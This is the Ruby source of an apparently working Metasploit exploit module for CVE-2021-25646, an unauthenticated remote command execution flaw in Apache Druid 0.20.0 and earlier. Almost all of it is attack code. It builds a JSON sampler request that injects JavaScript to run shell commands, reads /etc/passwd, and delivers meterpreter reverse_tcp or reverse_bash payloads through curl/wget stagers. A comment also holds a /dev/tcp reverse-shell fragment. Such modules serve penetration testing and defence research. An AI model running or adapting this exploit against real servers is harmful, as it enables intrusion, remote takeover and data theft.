Files
metasploit-gs/modules/exploits/linux/http/apache_druid_js_rce.rb
T
2021-03-31 20:43:28 +08:00

146 lines
6.0 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Druid 0.20.0 Remote Command Execution',
'Description' => %q{
Apache Druid includes the ability to execute user-provided JavaScript code embedded in various types of requests.
In Druid 0.20.0 and earlier, authenticated user can send a specially-crafted request with json type which set "config" to true .
It can forces Druid to run user-provided JavaScript code for that request, regardless of server configuration.
More critically,most of Apache Druid don't need to any auth.
This can be leveraged to execute code on the target machine with the privileges of the Druid server process.
Tested Apache Druid 0.15.1/0.16.0-iap8/0.17.1/0.18.0-iap3/0.19.0-iap7/0.20.0-iap4.1/0.21.0-iap3
This module add CHECKCMD allow customize the cmd to check,which can replace exec in payloads.
The module still exit many bug, for example, target sometime will wget/curl many time but I can't find any reason.
},
'Author' => [
'Litch1, Security Team of Alibaba Cloud', # Vulnerability discovery
'je5442804', # Metasploit module
],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'References' => [
['CVE', '2021-25646'],
['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-25646'],
['URL', 'https://lists.apache.org/thread.html/rfda8a3aa6ac06a80c5cbfdeae0fc85f88a5984e32ea05e6dda46f866%40%3Cdev.druid.apache.org%3E'],
['URL', 'https://github.com/yaunsky/cve-2021-25646/blob/main/cve-2021-25646.py']
],
'DisclosureDate' => 'Jan 21 2021',
'License' => MSF_LICENSE,
'Platform' => [ 'unix', 'linux' ],
'Targets' => [
['Linux (dropper)', {
'Platform' => 'linux',
'Type' => :linux_dropper,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', 'CmdStagerFlavor' => 'curl'},
'CmdStagerFlavor' => %w[curl wget],
'Arch' => [ARCH_X86, ARCH_X64]
}],
['Unix (in-memory)',{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}],
],
'DefaultTarget' => 0,
'Privileged' => true,
'Note' =>{
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
))
register_options([
Opt::RPORT(8888),
OptString.new('CHECKCMD', [ true, 'The command to execute as checking vulnerability', 'id'])
])
end
def execute_command(cmd, opts = {})
gencmd = "/bin/bash`@~-c`@~"+cmd
vprint_status("Executing command #{gencmd} ......")
post_data = {
"type": "index",
"spec": {
"ioConfig": {
"type": "index",
"firehose": {
"type": "local",
"baseDir": "/etc",
"filter": "passwd"
}
},
"dataSchema": {
"dataSource": "%%DATASOURCE%%",
"parser": {
"parseSpec": {
"format": "javascript",
"timestampSpec": {},
"dimensionsSpec": {}, #/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp// 0>&1
"function": "function(){var s = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\"#{gencmd}\".split(\"`@~\")).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:\"2021-03-28T12:41:27Z\",test: s}}",
"": {
"enabled": "true"
}
}
}
}
},
"samplerConfig": {
"numRows": 10
}
}.to_json
res = send_request_cgi({
'method' => 'POST',
'uri' => '/druid/indexer/v1/sampler',
'ctype' => 'application/json',
'headers' => {
'Accept' => 'application/json, text/plain, */*',
'Accept-Language' => 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Connection' => 'keep-alive'
},
'data' => post_data
})
return res
end
def check
if datastore['CHECKCMD'].empty?
return CheckCode::Unknown("CHECKCMD can not be empty!")
else
res = execute_command("#{datastore['CHECKCMD']}")
end
unless res
return CheckCode::Unknown('Connection failed.')
end
unless res.code == 200
return CheckCode::Safe
end
if res.body.include?('data') & res.body.include?('test')
return CheckCode::Vulnerable("- CMD response! =>\n #{JSON.parse(res.body)['data'][0]['parsed']['test']}")
end
return CheckCode::Unknown("Target seem isn't Apache Druid")
end
def exploit
case target['Type']
when :linux_dropper
execute_cmdstager
when :unix_memory
execute_command(payload.encoded)
end
end
end